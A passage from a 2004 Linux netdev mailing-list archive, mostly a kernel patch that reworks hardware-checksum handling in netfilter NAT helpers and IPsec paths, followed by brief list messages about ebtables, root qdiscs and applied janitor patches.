linux-2.6.3-mm3.o/include/linux/netfilter_ipv4/ip_nat_helper.h 2003-09-27 20:50:14.000000000 -0400 +++ linux-2.6.3-mm3.w/include/linux/netfilter_ipv4/ip_nat_helper.h 2004-02-23 15:35:13.000000000 -0500 @@ -60,5 +60,6 @@ unsigned int rep_len); extern int ip_nat_seq_adjust(struct sk_buff **pskb, struct ip_conntrack *ct, - enum ip_conntrack_info ctinfo); + enum ip_conntrack_info ctinfo, + int hooknum); #endif diff -urN -X dontdiff linux-2.6.3-mm3.o/include/linux/netfilter_ipv4/ip_nat_protocol.h linux-2.6.3-mm3.w/include/linux/netfilter_ipv4/ip_nat_protocol.h --- linux-2.6.3-mm3.o/include/linux/netfilter_ipv4/ip_nat_protocol.h 2003-09-27 20:50:26.000000000 -0400 +++ linux-2.6.3-mm3.w/include/linux/netfilter_ipv4/ip_nat_protocol.h 2004-02-23 15:09:42.000000000 -0500 @@ -22,7 +22,7 @@ int (*manip_pkt)(struct sk_buff **pskb, unsigned int hdroff, const struct ip_conntrack_manip *manip, - enum ip_nat_manip_type maniptype); + enum ip_nat_manip_type maniptype, int hooknum); /* Is the manipable part of the tuple between min and max incl? */ int (*in_range)(const struct ip_conntrack_tuple *tuple, diff -urN -X dontdiff linux-2.6.3-mm3.o/include/linux/netfilter_ipv4.h linux-2.6.3-mm3.w/include/linux/netfilter_ipv4.h --- linux-2.6.3-mm3.o/include/linux/netfilter_ipv4.h 2004-01-09 09:41:35.000000000 -0500 +++ linux-2.6.3-mm3.w/include/linux/netfilter_ipv4.h 2004-02-23 15:09:42.000000000 -0500 @@ -83,6 +83,17 @@ Returns true or false. */ extern int skb_ip_make_writable(struct sk_buff **pskb, unsigned int writable_len); + +static inline void nf_ip_skb_checksum_help(struct sk_buff *skb, int hooknum) +{ + if (skb->ip_summed == CHECKSUM_HW) { + if (hooknum == NF_IP_PRE_ROUTING || hooknum == NF_IP_LOCAL_IN) + skb->ip_summed = CHECKSUM_NONE; + else + nf_skb_checksum_help(skb); + } +} + #endif /*__KERNEL__*/ #endif /*__LINUX_IP_NETFILTER_H*/ diff -urN -X dontdiff linux-2.6.3-mm3.o/include/linux/skbuff.h linux-2.6.3-mm3.w/include/linux/skbuff.h --- linux-2.6.3-mm3.o/include/linux/skbuff.h 2004-02-23 10:52:59.000000000 -0500 +++ linux-2.6.3-mm3.w/include/linux/skbuff.h 2004-02-23 16:35:28.233857264 -0500 @@ -1220,5 +1220,11 @@ #endif +static inline void skb_invalidate_hw_checksum(struct sk_buff *skb) +{ + if (skb->ip_summed == CHECKSUM_HW) + skb->ip_summed = CHECKSUM_NONE; +} + #endif /* __KERNEL__ */ #endif /* _LINUX_SKBUFF_H */ diff -urN -X dontdiff linux-2.6.3-mm3.o/net/core/dev.c linux-2.6.3-mm3.w/net/core/dev.c --- linux-2.6.3-mm3.o/net/core/dev.c 2004-02-23 10:52:59.000000000 -0500 +++ linux-2.6.3-mm3.w/net/core/dev.c 2004-02-23 15:09:42.000000000 -0500 @@ -99,7 +99,6 @@ #include #include #include -#include #include #include #include @@ -1196,30 +1195,6 @@ rcu_read_unlock(); } -/* Calculate csum in the case, when packet is misrouted. - * If it failed by some reason, ignore and send skb with wrong - * checksum. - */ -struct sk_buff *skb_checksum_help(struct sk_buff *skb) -{ - unsigned int csum; - int offset = skb->h.raw - skb->data; - - if (offset > (int)skb->len) - BUG(); - csum = skb_checksum(skb, offset, skb->len-offset, 0); - - offset = skb->tail - skb->h.raw; - if (offset <= 0) - BUG(); - if (skb->csum + 2 > offset) - BUG(); - - *(u16*)(skb->h.raw + skb->csum) = csum_fold(csum); - skb->ip_summed = CHECKSUM_NONE; - return skb; -} - #ifdef CONFIG_HIGHMEM /* Actually, we should eliminate this check as soon as we know, that: * 1. IOMMU is present and allows to map all the memory. @@ -1337,14 +1312,15 @@ goto out_kfree_skb; /* If packet is not checksummed and device does not support - * checksumming for this protocol, complete checksumming here. + * checksumming for this protocol. Let route lookup on retransmit + * fix things. */ if (skb->ip_summed == CHECKSUM_HW && (!(dev->features & (NETIF_F_HW_CSUM | NETIF_F_NO_CSUM)) && (!(dev->features & NETIF_F_IP_CSUM) || skb->protocol != htons(ETH_P_IP)))) { - if ((skb = skb_checksum_help(skb)) == NULL) - goto out; + rc = -EAGAIN; + goto out_kfree_skb; } /* Grab device queue */ @@ -3321,7 +3297,6 @@ EXPORT_SYMBOL(register_gifconf); EXPORT_SYMBOL(register_netdevice); EXPORT_SYMBOL(register_netdevice_notifier); -EXPORT_SYMBOL(skb_checksum_help); EXPORT_SYMBOL(synchronize_net); EXPORT_SYMBOL(unregister_netdevice); EXPORT_SYMBOL(unregister_netdevice_notifier); diff -urN -X dontdiff linux-2.6.3-mm3.o/net/core/netfilter.c linux-2.6.3-mm3.w/net/core/netfilter.c --- linux-2.6.3-mm3.o/net/core/netfilter.c 2003-10-15 08:53:19.000000000 -0400 +++ linux-2.6.3-mm3.w/net/core/netfilter.c 2004-02-23 16:27:39.580103464 -0500 @@ -26,6 +26,7 @@ #include #include #include +#include #define __KERNEL_SYSCALLS__ #include @@ -505,14 +506,6 @@ unsigned int verdict; int ret = 0; - if (skb->ip_summed == CHECKSUM_HW) { - if (outdev == NULL) { - skb->ip_summed = CHECKSUM_NONE; - } else { - skb_checksum_help(skb); - } - } - /* We may already have this, but read-locks nest anyway */ rcu_read_lock(); @@ -743,6 +736,26 @@ EXPORT_SYMBOL(skb_ip_make_writable); #endif /*CONFIG_INET*/ +struct sk_buff *nf_skb_checksum_help(struct sk_buff *skb) +{ + unsigned int csum; + int offset = skb->h.raw - skb->data; + + if (offset > (int)skb->len) + BUG(); + csum = skb_checksum(skb, offset, skb->len-offset, 0); + + offset = skb->tail - skb->h.raw; + if (offset <= 0) + BUG(); + if (skb->csum + 2 > offset) + BUG(); + + *(u16*)(skb->h.raw + skb->csum) = csum_fold(csum); + skb->ip_summed = CHECKSUM_NONE; + return skb; +} + /* This does not belong here, but ipt_REJECT needs it if connection tracking in use: without this, connection may not be in hash table, @@ -773,3 +786,4 @@ EXPORT_SYMBOL(nf_unregister_hook); EXPORT_SYMBOL(nf_unregister_queue_handler); EXPORT_SYMBOL(nf_unregister_sockopt); +EXPORT_SYMBOL(nf_skb_checksum_help); diff -urN -X dontdiff linux-2.6.3-mm3.o/net/ipv4/ah4.c linux-2.6.3-mm3.w/net/ipv4/ah4.c --- linux-2.6.3-mm3.o/net/ipv4/ah4.c 2004-02-04 08:39:07.000000000 -0500 +++ linux-2.6.3-mm3.w/net/ipv4/ah4.c 2004-02-23 15:09:42.000000000 -0500 @@ -67,8 +67,8 @@ char buf[60]; } tmp_iph; - if (skb->ip_summed == CHECKSUM_HW && skb_checksum_help(skb) == NULL) { - err = -EINVAL; + if (skb->ip_summed == CHECKSUM_HW) { + err = -EAGAIN; goto error_nolock; } diff -urN -X dontdiff linux-2.6.3-mm3.o/net/ipv4/esp4.c linux-2.6.3-mm3.w/net/ipv4/esp4.c --- linux-2.6.3-mm3.o/net/ipv4/esp4.c 2003-09-27 20:50:29.000000000 -0400 +++ linux-2.6.3-mm3.w/net/ipv4/esp4.c 2004-02-23 15:09:42.000000000 -0500 @@ -41,9 +41,9 @@ char buf[60]; } tmp_iph; - /* First, if the skb is not checksummed, complete checksum. */ - if (skb->ip_summed == CHECKSUM_HW && skb_checksum_help(skb) == NULL) { - err = -EINVAL; + /* First, if the skb is not checksummed, allow retrans to fix . */ + if (skb->ip_summed == CHECKSUM_HW) { + err = -EAGAIN; goto error_nolock; } diff -urN -X dontdiff linux-2.6.3-mm3.o/net/ipv4/ipcomp.c linux-2.6.3-mm3.w/net/ipv4/ipcomp.c --- linux-2.6.3-mm3.o/net/ipv4/ipcomp.c 2004-02-04 08:39:07.000000000 -0500 +++ linux-2.6.3-mm3.w/net/ipv4/ipcomp.c 2004-02-23 15:09:42.000000000 -0500 @@ -157,8 +157,8 @@ } tmp_iph; int hdr_len = 0; - if (skb->ip_summed == CHECKSUM_HW && skb_checksum_help(skb) == NULL) { - err = -EINVAL; + if (skb->ip_summed == CHECKSUM_HW) { + err = -EAGAIN; goto error_nolock; } diff -urN -X dontdiff linux-2.6.3-mm3.o/net/ipv4/netfilter/ip_fw_compat_redir.c linux-2.6.3-mm3.w/net/ipv4/netfilter/ip_fw_compat_redir.c --- linux-2.6.3-mm3.o/net/ipv4/netfilter/ip_fw_compat_redir.c 2004-02-18 00:17:09.000000000 -0500 +++ linux-2.6.3-mm3.w/net/ipv4/netfilter/ip_fw_compat_redir.c 2004-02-23 16:33:19.715395040 -0500 @@ -109,6 +109,7 @@ struct tcphdr *tcph = (struct tcphdr *)((u_int32_t *)iph + iph->ihl); + skb_invalidate_hw_checksum(skb); tcph->check = cheat_check(~redir->core.orig_dstip, redir->core.new_dstip, cheat_check(redir->core.orig_dport ^ 0xFFFF, @@ -197,11 +198,13 @@ if (skb->len < iph->ihl*4 + sizeof(*udph)) return NF_DROP; - if (udph->check) /* 0 is a special case meaning no checksum */ + if (udph->check) /* 0 is a special case meaning no checksum */ { + skb_invalidate_hw_checksum(skb); udph->check = cheat_check(~iph->daddr, newdst, cheat_check(udph->dest ^ 0xFFFF, redirpt, udph->check)); + } iph->check = cheat_check(~iph->daddr, newdst, iph->check); udph->dest = redirpt; iph->daddr = newdst; diff -urN -X dontdiff linux-2.6.3-mm3.o/net/ipv4/netfilter/ip_nat_core.c linux-2.6.3-mm3.w/net/ipv4/netfilter/ip_nat_core.c --- linux-2.6.3-mm3.o/net/ipv4/netfilter/ip_nat_core.c 2004-02-18 00:17:09.000000000 -0500 +++ linux-2.6.3-mm3.w/net/ipv4/netfilter/ip_nat_core.c 2004-02-23 15:34:41.000000000 -0500 @@ -721,7 +721,7 @@ struct sk_buff **pskb, unsigned int iphdroff, const struct ip_conntrack_manip *manip, - enum ip_nat_manip_type maniptype) + enum ip_nat_manip_type maniptype, int hooknum) { struct iphdr *iph; @@ -734,7 +734,7 @@ /* Manipulate protcol part. */ if (!find_nat_proto(proto)->manip_pkt(pskb, iphdroff + iph->ihl*4, - manip, maniptype)) + manip, maniptype, hooknum)) return 0; iph = (void *)(*pskb)->data + iphdroff; @@ -793,7 +793,7 @@ htons(info->manips[i].manip.u.all)); if (!manip_pkt(proto, pskb, 0, &info->manips[i].manip, - info->manips[i].maniptype)) { + info->manips[i].maniptype, hooknum)) { READ_UNLOCK(&ip_nat_lock); return NF_DROP; } @@ -858,7 +858,7 @@ DEBUGP("ip_nat_core: adjusting sequence number\n"); /* future: put this in a l4-proto specific function, * and call this function here. */ - if (!ip_nat_seq_adjust(pskb, ct, ctinfo)) + if (!ip_nat_seq_adjust(pskb, ct, ctinfo, hooknum)) ret = NF_DROP; } @@ -952,7 +952,7 @@ (*pskb)->nh.iph->ihl*4 + sizeof(inside->icmp), &info->manips[i].manip, - !info->manips[i].maniptype)) + !info->manips[i].maniptype, hooknum)) goto unlock_fail; /* Outer packet needs to have IP header NATed like @@ -966,7 +966,7 @@ NIPQUAD(info->manips[i].manip.ip)); if (!manip_pkt(0, pskb, 0, &info->manips[i].manip, - info->manips[i].maniptype)) + info->manips[i].maniptype, hooknum)) goto unlock_fail; } } diff -urN -X dontdiff linux-2.6.3-mm3.o/net/ipv4/netfilter/ip_nat_helper.c linux-2.6.3-mm3.w/net/ipv4/netfilter/ip_nat_helper.c --- linux-2.6.3-mm3.o/net/ipv4/netfilter/ip_nat_helper.c 2004-02-18 00:17:09.000000000 -0500 +++ linux-2.6.3-mm3.w/net/ipv4/netfilter/ip_nat_helper.c 2004-02-23 16:32:06.392541808 -0500 @@ -187,6 +187,7 @@ mangle_contents(*pskb, iph->ihl*4 + tcph->doff*4, match_offset, match_len, rep_buffer, rep_len); + skb_invalidate_hw_checksum(*pskb); datalen = (*pskb)->len - iph->ihl*4; tcph->check = 0; tcph->check = tcp_v4_check(tcph, datalen, iph->saddr, iph->daddr, @@ -245,6 +246,8 @@ /* fix udp checksum if udp checksum was previously calculated */ if (udph->check) { int datalen = (*pskb)->len - iph->ihl * 4; + + skb_invalidate_hw_checksum(*pskb); udph->check = 0; udph->check = csum_tcpudp_magic(iph->saddr, iph->daddr, datalen, IPPROTO_UDP, @@ -255,7 +258,11 @@ return 1; } -/* Adjust one found SACK option including checksum correction */ +/* Adjust one found SACK option including checksum correction. + * + * NOTE: if this is called by a path other than ip_nat_seq_adjust(), it wil + * need to be updated to take hardware checksumming into account + */ static void sack_adjust(struct sk_buff *skb, struct tcphdr *tcph, @@ -350,7 +357,8 @@ int ip_nat_seq_adjust(struct sk_buff **pskb, struct ip_conntrack *ct, - enum ip_conntrack_info ctinfo) + enum ip_conntrack_info ctinfo, + int hooknum) { struct tcphdr *tcph; int dir, newseq, newack; @@ -383,6 +391,7 @@ newack = ntohl(tcph->ack_seq) - other_way->offset_before; newack = htonl(newack); + nf_ip_skb_checksum_help(*pskb, hooknum); tcph->check = ip_nat_cheat_check(~tcph->seq, newseq, ip_nat_cheat_check(~tcph->ack_seq, newack, diff -urN -X dontdiff linux-2.6.3-mm3.o/net/ipv4/netfilter/ip_nat_proto_icmp.c linux-2.6.3-mm3.w/net/ipv4/netfilter/ip_nat_proto_icmp.c --- linux-2.6.3-mm3.o/net/ipv4/netfilter/ip_nat_proto_icmp.c 2004-02-18 00:17:09.000000000 -0500 +++ linux-2.6.3-mm3.w/net/ipv4/netfilter/ip_nat_proto_icmp.c 2004-02-23 16:21:11.785057272 -0500 @@ -55,7 +55,7 @@ icmp_manip_pkt(struct sk_buff **pskb, unsigned int hdroff, const struct ip_conntrack_manip *manip, - enum ip_nat_manip_type maniptype) + enum ip_nat_manip_type maniptype, int hooknum) { struct icmphdr *hdr; @@ -64,6 +64,7 @@ hdr = (void *)(*pskb)->data + hdroff; + nf_ip_skb_checksum_help(*pskb, hooknum); hdr->checksum = ip_nat_cheat_check(hdr->un.echo.id ^ 0xFFFF, manip->u.icmp.id, hdr->checksum); diff -urN -X dontdiff linux-2.6.3-mm3.o/net/ipv4/netfilter/ip_nat_proto_tcp.c linux-2.6.3-mm3.w/net/ipv4/netfilter/ip_nat_proto_tcp.c --- linux-2.6.3-mm3.o/net/ipv4/netfilter/ip_nat_proto_tcp.c 2004-02-18 00:17:09.000000000 -0500 +++ linux-2.6.3-mm3.w/net/ipv4/netfilter/ip_nat_proto_tcp.c 2004-02-23 16:21:06.464866064 -0500 @@ -86,7 +86,7 @@ tcp_manip_pkt(struct sk_buff **pskb, unsigned int hdroff, const struct ip_conntrack_manip *manip, - enum ip_nat_manip_type maniptype) + enum ip_nat_manip_type maniptype, int hooknum) { struct tcphdr *hdr; u_int32_t oldip; @@ -120,6 +120,7 @@ if (hdrsize < sizeof(*hdr)) return 1; + nf_ip_skb_checksum_help(*pskb, hooknum); hdr->check = ip_nat_cheat_check(~oldip, manip->ip, ip_nat_cheat_check(oldport ^ 0xFFFF, manip->u.tcp.port, diff -urN -X dontdiff linux-2.6.3-mm3.o/net/ipv4/netfilter/ip_nat_proto_udp.c linux-2.6.3-mm3.w/net/ipv4/netfilter/ip_nat_proto_udp.c --- linux-2.6.3-mm3.o/net/ipv4/netfilter/ip_nat_proto_udp.c 2004-02-18 00:17:09.000000000 -0500 +++ linux-2.6.3-mm3.w/net/ipv4/netfilter/ip_nat_proto_udp.c 2004-02-23 16:21:00.952704040 -0500 @@ -85,7 +85,7 @@ udp_manip_pkt(struct sk_buff **pskb, unsigned int hdroff, const struct ip_conntrack_manip *manip, - enum ip_nat_manip_type maniptype) + enum ip_nat_manip_type maniptype, int hooknum) { struct udphdr *hdr; u_int32_t oldip; @@ -104,11 +104,13 @@ oldip = (*pskb)->nh.iph->daddr; portptr = &hdr->dest; } - if (hdr->check) /* 0 is a special case meaning no checksum */ + if (hdr->check) /* 0 is a special case meaning no checksum */ { + nf_ip_skb_checksum_help(*pskb, hooknum); hdr->check = ip_nat_cheat_check(~oldip, manip->ip, ip_nat_cheat_check(*portptr ^ 0xFFFF, manip->u.udp.port, hdr->check)); + } *portptr = manip->u.udp.port; return 1; } diff -urN -X dontdiff linux-2.6.3-mm3.o/net/ipv4/netfilter/ip_nat_proto_unknown.c linux-2.6.3-mm3.w/net/ipv4/netfilter/ip_nat_proto_unknown.c --- linux-2.6.3-mm3.o/net/ipv4/netfilter/ip_nat_proto_unknown.c 2004-02-18 00:17:09.000000000 -0500 +++ linux-2.6.3-mm3.w/net/ipv4/netfilter/ip_nat_proto_unknown.c 2004-02-23 16:41:13.425380176 -0500 @@ -41,7 +41,7 @@ unknown_manip_pkt(struct sk_buff **pskb, unsigned int hdroff, const struct ip_conntrack_manip *manip, - enum ip_nat_manip_type maniptype) + enum ip_nat_manip_type maniptype, int hooknum) { return 1; } @@ -49,7 +49,7 @@ static unsigned int unknown_print(char *buffer, const struct ip_conntrack_tuple *match, - const struct ip_conntrack_tuple *mask) + const struct ip_conntrack_tuple *mask, int hooknum) { return 0; } diff -urN -X dontdiff linux-2.6.3-mm3.o/net/ipv4/netfilter/ip_nat_snmp_basic.c linux-2.6.3-mm3.w/net/ipv4/netfilter/ip_nat_snmp_basic.c --- linux-2.6.3-mm3.o/net/ipv4/netfilter/ip_nat_snmp_basic.c 2003-09-27 20:50:48.000000000 -0400 +++ linux-2.6.3-mm3.w/net/ipv4/netfilter/ip_nat_snmp_basic.c 2004-02-23 15:09:42.000000000 -0500 @@ -1231,6 +1231,8 @@ if (map.from == map.to) return NF_ACCEPT; + nf_ip_skb_checksum_help(*pskb, hooknum); + if (!snmp_parse_mangle((unsigned char *)udph + sizeof(struct udphdr), paylen, &map, &udph->check)) { printk(KERN_WARNING "bsalg: parser failed\n"); @@ -1252,6 +1254,9 @@ int dir = CTINFO2DIR(ctinfo); struct iphdr *iph = (*pskb)->nh.iph; struct udphdr *udph = (struct udphdr *)((u_int32_t *)iph + iph->ihl); + + if (!skb_ip_make_writable(pskb, (*pskb)->len)) + return NF_DROP; spin_lock_bh(&snmp_lock); diff -urN -X dontdiff linux-2.6.3-mm3.o/net/ipv4/netfilter/ipt_ECN.c linux-2.6.3-mm3.w/net/ipv4/netfilter/ipt_ECN.c --- linux-2.6.3-mm3.o/net/ipv4/netfilter/ipt_ECN.c 2004-02-18 00:17:09.000000000 -0500 +++ linux-2.6.3-mm3.w/net/ipv4/netfilter/ipt_ECN.c 2004-02-23 15:09:42.000000000 -0500 @@ -50,7 +50,7 @@ /* Return 0 if there was an error. */ static inline int -set_ect_tcp(struct sk_buff **pskb, const struct ipt_ECN_info *einfo) +set_ect_tcp(struct sk_buff **pskb, const struct ipt_ECN_info *einfo, int inward) { struct tcphdr tcph; u_int16_t diffs[2]; @@ -74,6 +74,12 @@ if (!skb_ip_make_writable(pskb, (*pskb)->nh.iph->ihl*4+sizeof(tcph))) return 0; + if ((*pskb)->ip_summed == CHECKSUM_HW) { + if (inward) + (*pskb)->ip_summed = CHECKSUM_NONE; + else + nf_skb_checksum_help(*pskb); + } tcph.check = csum_fold(csum_partial((char *)diffs, sizeof(diffs), tcph.check^0xFFFF)); @@ -100,7 +106,7 @@ if (einfo->operation & (IPT_ECN_OP_SET_ECE | IPT_ECN_OP_SET_CWR) && (*pskb)->nh.iph->protocol == IPPROTO_TCP) - if (!set_ect_tcp(pskb, einfo)) + if (!set_ect_tcp(pskb, einfo, out == NULL)) return NF_DROP; return IPT_CONTINUE; diff -urN -X dontdiff linux-2.6.3-mm3.o/net/ipv4/netfilter/ipt_REJECT.c linux-2.6.3-mm3.w/net/ipv4/netfilter/ipt_REJECT.c --- linux-2.6.3-mm3.o/net/ipv4/netfilter/ipt_REJECT.c 2004-02-18 00:17:09.000000000 -0500 +++ linux-2.6.3-mm3.w/net/ipv4/netfilter/ipt_REJECT.c 2004-02-23 16:33:50.132770896 -0500 @@ -374,6 +374,8 @@ if ((*pskb)->nh.iph->ihl<<2 != sizeof(struct iphdr)) return NF_DROP; + skb_invalidate_hw_checksum(*pskb); + /* WARNING: This code causes reentry within iptables. This means that the iptables jump stack is now crap. We must return an absolute verdict. --RR */ diff -urN -X dontdiff linux-2.6.3-mm3.o/net/ipv4/netfilter/ipt_TCPMSS.c linux-2.6.3-mm3.w/net/ipv4/netfilter/ipt_TCPMSS.c --- linux-2.6.3-mm3.o/net/ipv4/netfilter/ipt_TCPMSS.c 2004-02-18 00:17:09.000000000 -0500 +++ linux-2.6.3-mm3.w/net/ipv4/netfilter/ipt_TCPMSS.c 2004-02-23 16:34:27.815042320 -0500 @@ -114,6 +114,7 @@ opt[i+2] = (newmss & 0xff00) >> 8; opt[i+3] = (newmss & 0x00ff); + skb_invalidate_hw_checksum(*pskb); tcph->check = cheat_check(htons(oldmss)^0xFFFF, htons(newmss), tcph->check); diff -urN -X dontdiff linux-2.6.3-mm3.o/net/ipv6/ah6.c linux-2.6.3-mm3.w/net/ipv6/ah6.c --- linux-2.6.3-mm3.o/net/ipv6/ah6.c 2004-02-04 08:39:07.000000000 -0500 +++ linux-2.6.3-mm3.w/net/ipv6/ah6.c 2004-02-23 15:09:42.000000000 -0500 @@ -156,8 +156,8 @@ u16 nh_offset = 0; u8 nexthdr; - if (skb->ip_summed == CHECKSUM_HW && skb_checksum_help(skb) == NULL) { - err = -EINVAL; + if (skb->ip_summed == CHECKSUM_HW) { + err = -EAGAIN; goto error_nolock; } diff -urN -X dontdiff linux-2.6.3-mm3.o/net/ipv6/esp6.c linux-2.6.3-mm3.w/net/ipv6/esp6.c --- linux-2.6.3-mm3.o/net/ipv6/esp6.c 2003-09-27 20:50:30.000000000 -0400 +++ linux-2.6.3-mm3.w/net/ipv6/esp6.c 2004-02-23 15:09:42.000000000 -0500 @@ -58,9 +58,9 @@ u8 *prevhdr; u8 nexthdr = 0; - /* First, if the skb is not checksummed, complete checksum. */ - if (skb->ip_summed == CHECKSUM_HW && skb_checksum_help(skb) == NULL) { - err = -EINVAL; + /* First, if the skb is not checksummed, allow retrans to fix. */ + if (skb->ip_summed == CHECKSUM_HW) { + err = -EAGAIN; goto error_nolock; } diff -urN -X dontdiff linux-2.6.3-mm3.o/net/ipv6/ipcomp6.c linux-2.6.3-mm3.w/net/ipv6/ipcomp6.c --- linux-2.6.3-mm3.o/net/ipv6/ipcomp6.c 2003-12-01 15:27:04.000000000 -0500 +++ linux-2.6.3-mm3.w/net/ipv6/ipcomp6.c 2004-02-23 15:09:42.000000000 -0500 @@ -132,8 +132,8 @@ int plen, dlen; u8 *start, *scratch = ipcd->scratch; - if (skb->ip_summed == CHECKSUM_HW && skb_checksum_help(skb) == NULL) { - err = -EINVAL; + if (skb->ip_summed == CHECKSUM_HW) { + err = -EAGAIN; goto error_nolock; } From simon@instant802.com Mon Feb 23 14:41:33 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 23 Feb 2004 14:41:38 -0800 (PST) Received: from mail-gateway.instant802.com (smtp.instant802.com [66.93.138.219]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1NMfXKO013333 for ; Mon, 23 Feb 2004 14:41:33 -0800 Received: from cluck.instant802.com (inbound.instant802.com [66.93.138.213]) by mail-gateway.instant802.com (8.12.3/8.12.3/Debian-6.6) with SMTP id i1NMfQI6029328; Mon, 23 Feb 2004 14:41:27 -0800 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C3FA5E.2870D9B8" Subject: Problem with ebtables target that changes frame protocol X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1 Date: Mon, 23 Feb 2004 14:41:20 -0800 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: Problem with ebtables target that changes frame protocol Thread-Index: AcP6XidsEbGbYw1pSZKRmLANjxKRiQ== From: "Simon Barber" To: "Kernel Mailing List" , X-archive-position: 3529 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: simon@instant802.com Precedence: bulk X-list: netdev This is a multi-part message in MIME format. ------_=_NextPart_001_01C3FA5E.2870D9B8 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable I have written an ebtables target that changes the ethernet protocol of a received frame (it runs in the broute chain). I have been working on 2.4.21 sources - Unfortunately inside netif_rx the skb->protocol is looked at before the bridge code is called - and then acted upon after. Hence if the bridge code changes the protocol the incorrect protocol is used to process the frame. =20 Simon ------_=_NextPart_001_01C3FA5E.2870D9B8 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Message

I have = written an=20 ebtables target that changes the ethernet protocol of a received frame = (it runs=20 in the broute chain). I have been working on 2.4.21 sources - = Unfortunately=20 inside netif_rx the skb->protocol is looked at before the bridge code = is=20 called - and then acted upon after. Hence if the bridge code changes the = protocol the incorrect protocol is used to process the=20 frame.
 
Simon
------_=_NextPart_001_01C3FA5E.2870D9B8-- From simon@instant802.com Mon Feb 23 14:55:06 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 23 Feb 2004 14:55:12 -0800 (PST) Received: from mail-gateway.instant802.com (smtp.instant802.com [66.93.138.219]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1NMt6KO013976 for ; Mon, 23 Feb 2004 14:55:06 -0800 Received: from cluck.instant802.com (inbound.instant802.com [66.93.138.213]) by mail-gateway.instant802.com (8.12.3/8.12.3/Debian-6.6) with SMTP id i1NMt0I6029624 for ; Mon, 23 Feb 2004 14:55:01 -0800 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Subject: Root qdisc implementation X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1 Date: Mon, 23 Feb 2004 14:54:55 -0800 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: Root qdisc implementation Thread-Index: AcP55gHMftRk/vHSQw+dSZ4TDTWEDQAduMyw From: "Simon Barber" To: Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i1NMt6KO013976 X-archive-position: 3530 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: simon@instant802.com Precedence: bulk X-list: netdev Is there any way to tell when a qdisc is being installed that it is the root qdisc on a device? (to enforce that a certain qdisc can only be installed as root). Does a root qdisc need to implement drop or requeue? Simon From davem@redhat.com Mon Feb 23 15:11:44 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 23 Feb 2004 15:11:50 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1NNBhKO014639 for ; Mon, 23 Feb 2004 15:11:44 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1NNBfb29230; Mon, 23 Feb 2004 18:11:41 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1NNBfi27288; Mon, 23 Feb 2004 18:11:41 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1NNBckC026082; Mon, 23 Feb 2004 18:11:39 -0500 Date: Mon, 23 Feb 2004 15:11:40 -0800 From: "David S. Miller" To: "Randy.Dunlap" Cc: netdev@oss.sgi.com Subject: Re: [janitor] neighbour: handle kmem_cache_create() failure Message-Id: <20040223151140.0e8939c6.davem@redhat.com> In-Reply-To: <20040223133402.1e722f6f.rddunlap@osdl.org> References: <20040223133402.1e722f6f.rddunlap@osdl.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3531 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Mon, 23 Feb 2004 13:34:02 -0800 "Randy.Dunlap" wrote: > Please apply to 2.6.3-current. ... > From: (Walter Harms) ... > linux-263-kj1-rddunlap/net/core/neighbour.c | 4 ++++ > 1 files changed, 4 insertions(+) Applied, thanks. From davem@redhat.com Mon Feb 23 15:12:39 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 23 Feb 2004 15:12:42 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1NNCcKO014816 for ; Mon, 23 Feb 2004 15:12:39 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1NNCab29699; Mon, 23 Feb 2004 18:12:36 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1NNCai27671; Mon, 23 Feb 2004 18:12:36 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1NNCYkC026804; Mon, 23 Feb 2004 18:12:34 -0500 Date: Mon, 23 Feb 2004 15:12:35 -0800 From: "David S. Miller" To: "Randy.Dunlap" Cc: netdev@oss.sgi.com Subject: Re: [janitor] inetpeer: 